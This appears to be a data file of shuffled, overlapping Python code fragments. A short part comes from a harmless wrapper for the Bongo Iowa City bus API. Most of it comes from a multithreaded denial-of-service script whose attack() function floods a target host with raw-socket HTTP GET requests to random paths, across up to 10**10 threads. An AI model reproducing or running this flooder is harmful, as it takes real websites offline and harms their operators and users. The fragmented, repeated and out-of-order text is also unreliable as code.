insists that it's HTML. data = response.json else: data", "not in kwargs: kwargs['format'] = self.format url = \"http://ebongo.org/api/%s\" %", "{\"stop\": {\"8350\": \"information\"}} \"\"\" if number: endpoint = 'stop' kwargs['stopid']", "call to the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678,", "the `stop` method. >>> Bongo().stops() {\"stops\": [1234, 5678, 9999]} \"\"\"", "Bongo(object): \"\"\" A simple Python wrapper for the Bongo Iowa", "data = response.json else: data = response.content return data def", "Iowa City bus API. \"\"\" def __init__(self, format='json'): self.format =" ]
[ "Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num", "dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET", "support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function", "progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits +", "entered a correct website!\") sys.exit(2) all_threads = [] for i", "-> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}]", "import time def attack(host: str, port: int = 80, request_count:", "sys.exit(2) all_threads = [] for i in range(request_count): t1 =", "def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1", "= threading.Lock() # Utility function def print_status() -> None: global", "string import sys import threading import time def attack(host: str,", "print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split('", "[] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1)", "down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\",", "int = 10 ** 10) -> None: # Threading support", "socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\"", "')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters", "def attack_() -> None: print_status() url_path = generate_url_path() dos =", "dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip =", "threading import time def attack(host: str, port: int = 80,", "\"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure", "random import socket import string import sys import threading import", "import string import sys import threading import time def attack(host:", "print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip,", "attack(host: str, port: int = 80, request_count: int = 10", "msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR]", "all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack)", "0 thread_num_mutex = threading.Lock() # Utility function def print_status() ->", "dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except", "+ string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_()", "threading.Lock() # Utility function def print_status() -> None: global thread_num", "# Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True)", "+= 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path():", "= \"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status()", "# Threading support thread_num = 0 thread_num_mutex = threading.Lock() #", "port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error:", "be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host =", "you entered a correct website!\") sys.exit(2) all_threads = [] for", "\"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make", "import random import socket import string import sys import threading", "= 0 thread_num_mutex = threading.Lock() # Utility function def print_status()", "data = \"\".join(random.sample(msg, 5)) return data def attack_() -> None:", "socket import string import sys import threading import time def", "10) -> None: # Threading support thread_num = 0 thread_num_mutex", "except socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\")", "None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}]", "except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally:", "t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads:", "ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered", "try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode())", "/{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be", "thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release()", "socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR)", "generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg =", "i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for", "function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num +=", "host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except", "Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility", "str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return", "socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost:", "string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_() ->", "finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\")", "try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host)", "thread_num_mutex = threading.Lock() # Utility function def print_status() -> None:", "time def attack(host: str, port: int = 80, request_count: int", "= 80, request_count: int = 10 ** 10) -> None:", "Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits", "= socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a", "correct website!\") sys.exit(2) all_threads = [] for i in range(request_count):", "1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg", "sure you entered a correct website!\") sys.exit(2) all_threads = []", "port: int = 80, request_count: int = 10 ** 10)", "10 ** 10) -> None: # Threading support thread_num =", "\"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path", "attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET,", "= generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg", "thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def", "+ string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data", "5)) return data def attack_() -> None: print_status() url_path =", "\"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you", "def attack(host: str, port: int = 80, request_count: int =", "print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close()", "sys import threading import time def attack(host: str, port: int", "host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR]", "msg = str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg,", "int = 80, request_count: int = 10 ** 10) ->", "print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2) all_threads", "socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2)", "None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:", "dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\")", "= f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site", "= threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads: current_thread.join()", "range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in", "import socket import string import sys import threading import time", "global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under", "thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation)", "[{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters +", "a correct website!\") sys.exit(2) all_threads = [] for i in", "{socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\",", "import threading import time def attack(host: str, port: int =", "thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\")", "dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip", "thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def", "print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg =", "url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port))", "Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try:", "{host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down |", "f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may", "HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down", "= 10 ** 10) -> None: # Threading support thread_num", "= str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5))", "data def attack_() -> None: print_status() url_path = generate_url_path() dos", "= [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start()", "** 10) -> None: # Threading support thread_num = 0", "string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def", "request_count: int = 10 ** 10) -> None: # Threading", "-> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", "str, port: int = 80, request_count: int = 10 **", "= socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path}", "website!\") sys.exit(2) all_threads = [] for i in range(request_count): t1", "for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01)", "def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data", "None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock()", "return data def attack_() -> None: print_status() url_path = generate_url_path()", "-> None: # Threading support thread_num = 0 thread_num_mutex =", "may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host", "in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread", "generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data =", "import sys import threading import time def attack(host: str, port:", "socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a correct", "= host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror:", "Make sure you entered a correct website!\") sys.exit(2) all_threads =", "| {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\",", "80, request_count: int = 10 ** 10) -> None: #" ]